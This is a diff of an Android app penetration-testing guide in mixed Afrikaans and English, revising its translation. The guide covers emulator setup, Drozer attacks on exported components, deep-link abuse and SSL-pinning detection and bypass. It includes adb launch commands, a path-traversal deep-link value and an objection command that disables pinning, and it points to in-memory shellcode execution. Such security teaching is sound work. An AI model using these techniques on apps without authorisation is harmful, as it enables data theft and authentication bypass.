`Runtime.exec(), ProcessBuilder(), native code:system()` +- **Stuur SMS'e**: `sendTextMessage, sendMultipartTestMessage` +- **Native funksies** declared as `native`: `public native, System.loadLibrary, System.load` +- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) +- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call): + +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} ### **Other tricks** @@ -235,23 +240,23 @@ content-protocol.md ## Dinamiese Analise -> Eerstens het jy 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA cert, Drozer and Frida mainly) kan installeer. Daarom word 'n gerootte toestel (geëmuleer of nie) sterk aanbeveel. +> Eerstens het jy 'n omgewing nodig waar jy die toepassing en al die omgewing (Burp CA cert, Drozer and Frida mainly) kan installeer. Daarom word 'n rooted device (geëmuleer of nie) sterk aanbeveel. -### Aanlyn Dinamiese Analise +### Aanlyn dinamiese analise -Jy kan 'n **gratis rekening** skep by: [https://appetize.io/](https://appetize.io). Hierdie platform laat jou toe om APKs te **upload** en **execute**, so dit is nuttig om te sien hoe 'n apk optree. +Jy kan 'n **free account** skep by: [https://appetize.io/](https://appetize.io). Hierdie platform laat jou toe om APKs te **upload** en te **execute**, dus dit is nuttig om te sien hoe 'n apk optree. -Jy kan selfs **die logs van jou toepassing in die web sien** en via **adb** koppel. +Jy kan selfs die **logs van jou toepassing** in die web sien en deur **adb** koppel. ![](<../../images/image (831).png>) -Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulator gebruik. +Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulators gebruik. -### Lokale Dinamiese Analise +### Lokale dinamiese analise #### Gebruik van 'n emulator -- [**Android Studio**](https://developer.android.com/studio) (Jy kan **x86** en **arm** toestelle skep, en volgens [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** weergawes **support ARM libraries** sonder om 'n stadiger arm-emulator te benodig). +- [**Android Studio**](https://developer.android.com/studio) (Jy kan **x86** en **arm** toestelle skep, en volgens [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). - Leer om dit op te stel op hierdie bladsy: @@ -259,83 +264,85 @@ Dankie aan die ADB-verbinding kan jy **Drozer** en **Frida** binne die emulator avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, jy moet 'n rekening skep. _Dit word aanbeveel om die weergawe **WITH**_ _**VirtualBox** te **download** om potensiële foute te vermy._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, jy moet 'n rekening skep. _It's recommend to **download** the version **WITH**_ _**VirtualBox** om potensiële foute te vermy._) - [**Nox**](https://es.bignox.com) (Gratis, maar dit ondersteun nie Frida of Drozer nie). > [!TIP] -> Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus klein skerms indien moontlik. +> Wanneer jy 'n nuwe emulator op enige platform skep, onthou dat hoe groter die skerm is, hoe stadiger sal die emulator loop. Kies dus indien moontlik klein skerms. -Om **google services** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knoppie in die volgende beeld klik: +Om **google services** (soos AppStore) in Genymotion te installeer, moet jy op die rooi gemerkte knop in die volgende prent klik: ![](<../../images/image (277).png>) -Neem ook kennis dat in die **konfigurasie van die Android VM in Genymotion** jy **Bridge Network mode** kan kies (dit sal nuttig wees as jy vanaf 'n ander VM na die Android VM sal koppel met die hulpmiddels). +Neem ook kennis dat in die **konfigurasie van die Android VM in Genymotion** jy **Bridge Network mode** kan kies (dit sal nuttig wees as jy vanaf 'n ander VM met die gereedskap aan die Android VM wil koppel). #### Gebruik 'n fisiese toestel Jy moet die **debugging** opsies aktiveer en dit sal goed wees as jy dit kan **root**: 1. **Settings**. -2. (FromAndroid 8.0) Select **System**. -3. Select **About phone**. -4. Press **Build number** 7 times. -5. Go back and you will find the **Developer options**. +2. (FromAndroid 8.0) Kies **System**. +3. Kies **About phone**. +4. Druk **Build number** 7 keer. +5. Gaan terug en jy sal die **Developer options** vind. -> Sodra jy die toepassing geïnstalleer het, is die eerste ding wat jy moet doen om dit te probeer en ondersoek wat dit doen, hoe dit werk en gemaklik te raak daarmee.\ -> Ek sal voorstel om hierdie aanvanklike dinamiese analise uit te voer deur MobSF dynamic analysis + pidcat te gebruik, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF baie **interessante** **data** vasvang wat jy later kan hersien. +> Sodra jy die toepassing geïnstalleer het, moet die eerste ding wat jy doen is om dit te probeer en ondersoek wat dit doen, hoe dit werk en gemaklik raak daarmee.\ +> Ek raai aan om **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, sodat ons kan **leer hoe die toepassing werk** terwyl MobSF **captures** baie **interesting** **data** wat jy later kan hersien. -Magisk/Zygisk vinnige notas (aanbeveel op Pixel-toestelle) -- Patch boot.img met die Magisk-app en flash via fastboot om systemless root te kry -- Aktiveer Zygisk + DenyList vir root-verborge; oorweeg LSPosed/Shamiko wanneer sterker verberging benodig word -- Hou die oorspronklike boot.img om van OTA-opdaterings te herstel; her-patch na elke OTA -- Vir skermspieëling, gebruik scrcpy op die host +Magisk/Zygisk quick notes (recommended on Pixel devices) +- Patch boot.img with the Magisk app and flash via fastboot to get systemless root +- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required +- Keep original boot.img to recover from OTA updates; re-patch after each OTA +- For screen mirroring, use scrcpy on the host -### Onbedoelde Data Lekkasie + + +### Onbedoelde Data Leakage **Logging** -Ontwikkelaars moet versigtig wees om **debugging-inligting** nie publiek bloot te stel nie, aangesien dit tot sensitiewe data leaks kan lei. Die hulpmiddels [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies vir sy gebruiksgemak en leesbaarheid. +Ontwikkelaars moet versigtig wees om **debugging information** nie publiek bloot te stel nie, aangesien dit tot sensitiewe data leaks kan lei. Die gereedskap [**pidcat**](https://github.com/JakeWharton/pidcat) en `adb logcat` word aanbeveel om toepassingslogs te monitor om sensitiewe inligting te identifiseer en te beskerm. **Pidcat** word verkies weens sy gemak van gebruik en leesbaarheid. > [!WARNING] -> Let wel dat vanaf **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ -> Dit word tog aanbeveel om **nie sensitiewe inligting te log nie**. +> Let daarop dat vanaf **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> In elk geval, dit word steeds aanbeveel om **not log sensitive information**. -**Kopieer/Plak-klembord** +**Copy/Paste Buffer Caching** -Android se **clipboard-based** raamwerk maak kopieer-plak funksionaliteit in apps moontlik, maar hou 'n risiko in omdat **ander applications** toegang tot die klembord kan hê en moontlik sensitiewe data kan blootstel. Dit is noodsaaklik om kopieer/plak-funksies vir sensitiewe gedeeltes van 'n toepassing, soos kredietkaartbesonderhede, uit te skakel om data leaks te voorkom. +Android se **clipboard-based** raamwerk maak copy-paste funksionaliteit in apps moontlik, maar hou 'n risiko in aangesien **other applications** toegang tot die clipboard kan hê en moontlik sensitiewe data kan blootstel. Dit is noodsaaklik om copy/paste funksies vir sensitiewe gedeeltes van 'n toepassing, soos kredietkaartbesonderhede, uit te skakel om data leaks te voorkom. **Crash Logs** -As 'n toepassing **crash** en **logs stoor**, kan hierdie logs aanvallers help, veral wanneer die toepassing nie gerusverseer kan word nie. Om hierdie risiko te verminder, vermy logboekhouding by crashes, en as logs oor die netwerk gestuur moet word, sorg dat hulle via 'n SSL-kanaal gestuur word vir sekuriteit. +As 'n toepassing **crash** en logs stoor, kan hierdie logs aanvallers help, veral wanneer die toepassing nie maklik omgekeerd kan word nie. Om hierdie risiko te beperk, vermy logging by crashes, en as logs oor die netwerk oorgedra moet word, verseker dat dit via 'n SSL-kanaal gestuur word vir beveiliging. -As pentester, **probeer hierdie logs te besoek**. +As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -Toepassings integreer dikwels dienste soos Google Adsense, wat onbedoeld sensitiewe data kan leak as gevolg van verkeerde implementering deur ontwikkelaars. Om potensiële data leaks te identifiseer, is dit raadsaam om die toepassing se verkeer te onderskep en te kyk vir enige sensitiewe inligting wat aan derdepartye gestuur word. +Toepassings integreer dikwels dienste soos Google Adsense, wat per ongeluk sensitiewe data kan **leak** as gevolg van verkeerde implementering deur ontwikkelaars. Om potensiële data leaks te identifiseer, is dit raadsaam om die toepassing se verkeer te onderskep en te kyk of enige sensitiewe inligting aan derde-party dienste gestuur word. ### SQLite DBs -Die meeste toepassings gebruik **internal SQLite databases** om inligting te stoor. Tydens die pentest kyk na die **databases** wat geskep is, die name van **tables** en **columns** en al die **data** wat gestoor is omdat jy moontlik **sensitiewe inligting** kan vind (wat 'n kwetsbaarheid sou wees).\ -Databases behoort te wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases` +Die meeste toepassings sal **internal SQLite databases** gebruik om inligting te stoor. Tydens die pentest neem 'n kyk na die **databases** wat geskep is, die name van **tables** en **columns** en al die **data** wat gestoor is, want jy kan **sensitive information** vind (wat 'n vulnerability sou wees).\ +Databases behoort geleë te wees in `/data/data/the.package.name/databases` soos `/data/data/com.mwr.example.sieve/databases` -As die databasis vertroulike inligting stoor en **encrypted** is maar jy die **password** in die toepassing kan **find**, is dit steeds 'n **vulnerability**. +As die database vertroulike inligting stoor en **encrypted** is maar jy die **password** binne die toepassing kan **find**, is dit steeds 'n **vulnerability**. -Enumereer die tabelle met `.tables` en enumereer die kolomme van die tabelle met `.schema ` +E­nume­reer die tables gebruikende `.tables` en e­nume­reer die kolomme van die tables deur `.schema ` uit te voer ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** stel jou in staat om die **rol van 'n Android app aan te neem** en met ander apps te interaksie. Dit kan **alles doen wat 'n geïnstalleerde toepassing kan doen**, soos die gebruik van Android se Inter-Process Communication (IPC) meganisme en interaksie met die onderliggende bedryfstelsel. .\ -Drozer is 'n nuttige hulpmiddel om **exported activities, exported services and Content Providers** te **exploit** soos jy in die volgende afdelings sal leer. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** laat jou toe om die **role of an Android app** aan te neem en met ander apps te kommunikeer. Dit kan **anything that an installed application can do**, soos die gebruik van Android’s Inter-Process Communication (IPC) meganisme en interaksie met die onderliggende operating system. .\ +Drozer is 'n nuttige hulpmiddel om **exploit exported activities, exported services and Content Providers** te doen soos jy in die volgende afdelings sal leer. -### Eksploiteer exported Activities +### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Onthou ook dat die kode van 'n activity begin in die **`onCreate`** metode. +Onthou ook dat die kode van 'n activity begin in die **`onCreate`** metodes. **Authorisation bypass** -Wanneer 'n Activity exported is, kan jy sy skerm van 'n eksterne app aanroep. Dus, as 'n activity met **sensitiewe inligting** **exported** is, kan jy die **authentication** meganismes **bypass** om dit te bereik. +Wanneer 'n Activity exported is, kan jy sy skerm vanaf 'n eksterne app aanroep. Daarom, as 'n activity met **sensitive information** exported is, kan jy die **authentication** meganismes **bypass** om toegang daartoe te kry. [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) @@ -346,105 +353,105 @@ Jy kan ook 'n exported activity vanaf adb begin: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**NOTE**: MobSF sal die gebruik van _**singleTask/singleInstance**_ as `android:launchMode` in 'n activity as kwaadwillig beskou, maar weens [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) blyk dit net gevaarlik te wees op ou weergawes (API versions < 21). > [!TIP] -> Let wel dat 'n authorisation bypass nie altyd 'n kwetsbaarheid is nie; dit hang af van hoe die bypass werk en watter inligting blootgestel word. +> Neem kennis dat 'n authorisation bypass nie altyd 'n vulnerability is nie; dit hang af van hoe die bypass werk en watter inligting blootgestel word. -**Sensitiewe inligting lekkasie** +**Sensitive information leakage** -**Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, daar is 'n sensitiewe inligting lekkasie. +**Activities can also return results**. As jy daarin slaag om 'n exported en unprotected activity te vind wat die **`setResult`**-metode aanroep en **sensitiewe inligting teruggee**, kan daar 'n blootstelling van sensitiewe inligting wees. #### Tapjacking -If Tapjacking isn't prevented, jy kan die exported activity misbruik om die **gebruiker onvoorsiene aksies te laat uitvoer**. Vir meer inligting oor [**what is Tapjacking follow the link**](#tapjacking). +As Tapjacking nie voorkom word nie, kan jy die exported activity misbruik om die **gebruiker onverwagte aksies te laat uitvoer**. Vir meer inligting oor [**wat Tapjacking is volg die skakel**](#tapjacking). ### Exploiting Content Providers - Accessing and manipulating sensitive information -[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers word hoofsaaklik gebruik om **data te deel**. As 'n app beskikbare content providers het, mag jy in staat wees om **sensitiewe** data daaruit te **haal**. Dit is ook belangrik om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle kwesbaar kan wees. +[**Lees dit as jy wil opfris wat 'n Content Provider is.**](android-applications-basics.md#content-provider)\ +Content providers word hoofsaaklik gebruik om **data te deel**. As 'n app beskikbare content providers het, kan jy dalk **sensitiewe data onttrek** daaruit. Dit is ook interessant om moontlike **SQL injections** en **Path Traversals** te toets aangesien hulle dalk kwesbaar is. -[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) +[**Leer hoe om Content Providers met Drozer te exploit.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** -[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -Onthou dat die aksies van 'n Service begin in die metode `onStartCommand`. +[**Lees dit as jy wil opfris wat 'n Service is.**](android-applications-basics.md#services)\ +Onthou dat die handelinge van 'n Service begin in die metode `onStartCommand`. -'n Service is basies iets wat **data kan ontvang**, dit **verwerk** en (of nie) 'n antwoord **terugstuur**. As 'n toepassing sekere services exporteer, behoort jy die **code** te **kontroleer** om te verstaan wat dit doen en dit **dynamies** te **toets** om vertroulike inligting uit te haal, authentication measures te bypass...\ -[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) +'n Service is basies iets wat **data kan ontvang**, dit **prosesseer** en **(mag) teruggee** 'n reaksie. Dus, as 'n toepassing sekere services exporteer, moet jy die **kode** nagaan om te verstaan wat dit doen en dit **dynamies** toets om vertroulike inligting te onttrek, authorisation bypasses te probeer, ens.\ +[**Leer hoe om Services met Drozer te exploit.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** -[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Onthou dat die aksies van 'n Broadcast Receiver begin in die metode `onReceive`. +[**Lees dit as jy wil opfris wat 'n Broadcast Receiver is.**](android-applications-basics.md#broadcast-receivers)\ +Onthou dat die handelinge van 'n Broadcast Receiver begin in die metode `onReceive`. -'n Broadcast receiver sal wag vir 'n tipe boodskap. Afhangend van hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\ -[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) +'n Broadcast Receiver sal wag vir 'n tipe boodskap. Afhangend van hoe die receiver die boodskap hanteer, kan dit kwesbaar wees.\ +[**Leer hoe om Broadcast Receivers met Drozer te exploit.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Jy kan na deep links soek manuueel, met instrumente soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Jy kan 'n verklaarde **scheme** **open** met **adb** of 'n **browser**: +Jy kan handmatig vir deep links soek, met hulpmiddels soos MobSF of skripte soos [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Jy kan 'n gedeclareerde **scheme** **open** met **adb** of 'n **browser**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Neem kennis dat jy die **pakketnaam kan weglaat** en die mobiele toestel sal outomaties die app oproep wat daardie skakel moet oopmaak._ +_Let op dat jy die **pakketnaam** kan weglaat en die mobiele toestel outomaties die app sal oproep wat daardie skakel moet oopmaak._ ```html Click me with alternative ``` -**Code uitgevoer** +**Code executed** Om die **kode wat in die App uitgevoer sal word** te vind, gaan na die activity wat deur die deeplink aangeroep word en soek die funksie **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) -**Sensitiewe inligting** +**Sensitive info** -Elke keer as jy 'n deep link vind, kontroleer dat i**t nie sensitiewe data (like passwords) via URL parameters ontvang nie**, omdat enige ander toepassing die deep link kan **impersonate en daardie data steel!** +Elke keer as jy 'n deep link vind, kontroleer dat i**dit nie sensitiewe data (soos wagwoorde) via URL parameters ontvang nie**, want enige ander toepassing kan **die deep link naboots en daardie data steel!** **Parameters in path** -Jy **moet ook kontroleer of enige deep link 'n parameter binne die path gebruik** van die URL soos: `https://api.example.com/v1/users/{username}`, in daardie geval kan jy 'n path traversal afdwing deur iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` toe te roep.\ -Let daarop dat as jy die korrekte endpoints binne die toepassing vind, jy dalk 'n **Open Redirect** kan veroorsaak (as 'n deel van die path as domeinnaam gebruik word), **account takeover** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF token en die vuln endpoint die korrekte metode gebruik) en enige ander vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Jy **moet ook kontroleer of enige deep link 'n parameter binne die path gebruik** van die URL soos: `https://api.example.com/v1/users/{username}` , in daardie geval kan jy 'n path traversal dwing deur toegang te verkry tot iets soos: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Let daarop dat as jy die korrekte endpoints binne die toepassing vind, jy moontlik 'n **Open Redirect** (as 'n deel van die path as domeinnaam gebruik word), **account takeover** (as jy gebruikersbesonderhede kan wysig sonder 'n CSRF-token en die kwesbare endpoint die regte metode gebruik het) en enige ander vuln kan veroorsaak. More [info about this here](http://dphoeniixx.com/2020/12/13-2/). **More examples** An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). -### Transport Layer Inspection and Verification Failures +### Inspeksie van die Transportlaag en Verifikasie-foute -- **Sertifikate word nie altyd behoorlik geïnspekteer nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings ignoreer en self-ondertekende sertifikate aanvaar of, in sommige gevalle, terugval na die gebruik van HTTP-verbindinge. -- **Onderhandelings tydens die SSL/TLS-handshake is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding vatbaar vir man-in-the-middle (MITM) aanvalle, wat aanvallers toelaat om die data te ontsleutel. -- **Lekking van privaat inligting** is 'n risiko wanneer toepassings eers verifieer met veilige kanale en dan oor nie-veilige kanale kommunikeer vir ander transaksies. Hierdie benadering beskerm nie sensitiewe data, soos sessie-koekies of gebruikerbesonderhede, teen onderskep deur kwaadwillige entiteite nie. +- **Sertifikate word nie altyd behoorlik ondersoek nie** deur Android-toepassings. Dit is algemeen dat hierdie toepassings waarskuwings ignoreer en self-ondertekende sertifikate aanvaar of, in sommige gevalle, terugval na die gebruik van HTTP-verbindinge. +- **Onderhandelings tydens die SSL/TLS-handskakeling is soms swak**, wat onveilige cipher suites gebruik. Hierdie kwesbaarheid maak die verbinding vatbaar vir man-in-the-middle (MITM)-aanvalle, wat aanvallers in staat stel om die data te ontsleutel. +- **Leakage of private information** is 'n risiko wanneer toepassings met veilige kanaaltjies autentiseer maar dan oor nie-veilige kanale vir ander transaksies kommunikeer. Hierdie benadering beskerm nie sensitiewe data, soos sessiekoekies of gebruikerbesonderhede, teen onderskep deur kwaadwillige entiteite nie. #### Certificate Verification -Ons sal fokus op **sertifikaatverifikasie**. Die integriteit van die bediener se sertifikaat moet geverifieer word om veiligheid te verbeter. Dit is noodsaaklik omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor nie-enkripteerde kanale beduidende risiko's kan meebring. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance. +Ons sal fokus op **certificate verification**. Die integriteit van die bediener se sertifikaat moet geverifieer word om sekuriteit te verbeter. Dit is noodsaaklik omdat onveilige TLS-konfigurasies en die oordrag van sensitiewe data oor onversleutelde kanale beduidende risiko's kan meebring. Vir gedetailleerde stappe oor die verifikasie van bediener-sertifikate en die aanspreek van kwesbaarhede, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance. #### SSL Pinning -SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se sertifikaat verifieer teen 'n bekende kopie wat binne die toepassing self gestoor is. Hierdie metode is essensieel om MITM-aanvalle te voorkom. Die implementering van SSL Pinning word sterk aanbeveel vir toepassings wat sensitiewe inligting hanteer. +SSL Pinning is 'n sekuriteitsmaatreël waar die toepassing die bediener se sertifikaat vergelyk met 'n bekende kopie wat binne die toepassing self gestoor is. Hierdie metode is noodsaaklik om MITM-aanvalle te voorkom. Die implementering van SSL Pinning word sterk aanbeveel vir toepassings wat sensitiewe inligting hanteer. #### Traffic Inspection -Om HTTP-verkeer te inspekteer, is dit nodig om die **proxy tool's certificate** te installeer (e.g., Burp). Sonder om hierdie sertifikaat te installeer, mag enkripsiesed verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Om HTTP-verkeer te inspekteer, is dit nodig om **die proxy tool se sertifikaat te installeer** (bv. Burp). Sonder die installering van hierdie sertifikaat mag versleutelde verkeer nie deur die proxy sigbaar wees nie. Vir 'n gids oor die installering van 'n pasgemaakte CA-sertifikaat, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Toepassings wat mik op **API Level 24 and above** vereis wysigings aan die Network Security Config om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van enkripsiesed verkeer. Vir instruksies oor die wysiging van die Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Toepassings wat op **API Level 24 and above** mik, vereis wysigings aan die Network Security Config om die proxy se CA-sertifikaat te aanvaar. Hierdie stap is krities vir die inspeksie van versleutelde verkeer. Vir instruksies oor die wysiging van die Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is because, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. +If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs. -#### Static detection of SSL/TLS pinning +#### Statiese opsporing van SSL/TLS pinning -Voordat jy runtime-bypasses probeer, karteer vinnig waar pinning in die APK afgedwing word. Statiese opsporing help jou om hooks/patches te beplan en op die regte kodebane te fokus. +Voordat jy runtime-bypasses probeer, karteer vinnig waar pinning in die APK afgedwing word. Statiese ontdekking help jou om hooks/patches te beplan en te fokus op die regte kodepaaie. Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Rapporteer die presiese file path, lynnommer, en 'n kodefragment vir elke match. -- Dek algemene frameworks en custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- Open-source statiese-analise nut wat die APK na Smali dekompileer (via apktool) en skandeer vir gekureerde regex-patrone van SSL/TLS pinning-implementasies. +- Rapporteer die presiese lêerpad, reëlnommer, en 'n kodefragment vir elke pas. +- Omvat algemene frameworks en aangepaste kodepaaie: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. Install - Vereistes: Python >= 3.8, Java on PATH, apktool @@ -462,7 +469,8 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Voorbeeld patroonreëls (JSON) -Gebruik of brei signatures uit om proprietary/custom pinning styles te detecteer. Jy kan jou eie JSON laai en op skaal scan. + +Gebruik of brei signatures uit om proprietary/custom pinning styles op te spoor. Jy kan jou eie JSON laai en op skaal scan. ```json { "OkHttp Certificate Pinning": [ @@ -476,45 +484,45 @@ Gebruik of brei signatures uit om proprietary/custom pinning styles te detecteer ] } ``` -Notes and tips -- Vinnige skandering van groot apps via multi-threading en memory-mapped I/O; vooraf-gekompileerde regex verminder overhead/vals positiewe. +Notas en wenke +- Vinnige skandering van groot apps via multi-threading en memory-mapped I/O; vooraf-gecompileerde regex verminder overhead en vals positiewe resultate. - Patroonversameling: https://github.com/aancw/smali-sslpin-patterns -- Tipiese opsporingsdoelwitte om daarna te triageer: -- OkHttp: CertificatePinner gebruik, setCertificatePinner, okhttp3/okhttp pakketverwysings -- Aangepaste TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted oorskrywings -- Aangepaste SSL-kontekste: SSLContext.getInstance + SSLContext.init met aangepaste managers -- Deklaratiewe pins in res/xml network security config en manifest verwysings -- Gebruik die gevonde lokasies om Frida hooks, statiese pleisters, of konfigurasie-oorsigte te beplan voor dinamiese toetsing. +- Tipiese opsporingsdoelwitte om daarna te prioritiseer: +- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references +- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides +- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers +- Declarative pins in res/xml network security config and manifest references +- Gebruik die ooreenstemmende lokasies om Frida hooks, statiese pleisters, of konfigu­rasiereviews te beplan voordat jy dinamiese toetse doen. -#### Omseiling van SSL Pinning +#### Om SSL Pinning te omseil -Wanneer SSL Pinning geïmplementeer is, word dit nodig om dit te omseil om HTTPS-verkeer te inspekteer. Verskeie metodes is beskikbaar vir hierdie doel: +As SSL Pinning geïmplementeer is, word dit nodig om dit te omseil om HTTPS-verkeer te inspekteer. Verskeie metodes is beskikbaar vir hierdie doel: -- Outomaties **wysig** die **apk** om SSLPinning te **omseil** met [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die grootste voordeel van hierdie opsie is dat jy nie root nodig het om die SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een herinstalleer, en dit werk nie altyd nie. +- Outomaties **wysig** die **apk** om SSLPinning te **omseil** met [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Die grootste voordeel van hierdie opsie is dat jy nie root nodig het om SSL Pinning te omseil nie, maar jy sal die toepassing moet verwyder en die nuwe een moet herinstalleer, en dit werk nie altyd nie. - Jy kan **Frida** (hieronder bespreek) gebruik om hierdie beskerming te omseil. Hier is 'n gids om Burp+Frida+Genymotion te gebruik: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Jy kan ook probeer om **outomaties SSL Pinning te omseil** met [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Jy kan ook probeer om **outomaties SSL Pinning te omseil** deur **MobSF dynamic analysis** te gebruik (hieronder verduidelik) -- As jy steeds dink daar is verkeer wat jy nie vasvang nie, kan jy probeer om die verkeer na Burp deur te stuur met iptables. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- As jy steeds dink daar is verkeer wat jy nie vasvang nie, kan jy probeer om die verkeer na burp deur te stuur met iptables. Lees hierdie blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Soek na algemene web kwesbaarhede +#### Soek na algemene web-kwesbaarhede -Dit is belangrik om ook binne die toepassing te soek na algemene web-kwesbaarhede. Gedetaileerde inligting oor die identifisering en mitigering van hierdie kwesbaarhede val buite die bestek van hierdie samevatting, maar word elders uitvoerig behandel. +Dit is belangrik om ook na algemene web-kwesbaarhede binne die toepassing te soek. Gedetailleerde inligting oor die identifisering en verligting van hierdie kwesbaarhede val buite die omvang van hierdie opsomming, maar word elders uitvoerig behandel. ### Frida -[Frida](https://www.frida.re) is 'n dinamiese instrumenteringsgereedskap vir ontwikkelaars, reverse-engineers, en sekuriteitsnavorsers.\ -**Jy kan toegang tot 'n lopende toepassing kry en metodes tydens uitvoering hook om die gedrag te verander, waardes te verander, waardes uit te trek, ander kode uit te voer...**\ +[Frida](https://www.frida.re) is 'n dinamiese instrumenteringspakket vir ontwikkelaars, reverse-engineers en sekuriteitsnavorsers.\ +**Jy kan toegang kry tot 'n lopende toepassing en op runtime methodes 